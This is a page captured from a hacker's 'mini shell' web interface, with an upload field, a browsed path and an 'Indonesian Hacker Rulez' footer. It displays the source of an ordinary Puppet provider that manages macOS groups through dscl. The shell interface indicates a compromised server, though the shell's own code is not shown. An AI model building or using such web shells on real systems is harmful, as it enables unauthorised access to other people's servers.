CHips L MINI SHELL

CHips L pro

Current Path : /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/group/
Upload File :
Current File : //opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet/provider/group/directoryservice.rb

require 'puppet/provider/nameservice/directoryservice'

Puppet::Type.type(:group).provide :directoryservice, :parent => Puppet::Provider::NameService::DirectoryService do
  desc "Group management using DirectoryService on OS X.

  "

  commands :dscl => "/usr/bin/dscl"
  confine :operatingsystem => :darwin
  defaultfor :operatingsystem => :darwin
  has_feature :manages_members

  def members_insync?(current, should)
    return false unless current
    if current == :absent
      return should.empty?
    else
      return current.sort.uniq == should.sort.uniq
    end
  end

end

Copyright 2K16 - 2K18 Indonesian Hacker Rulez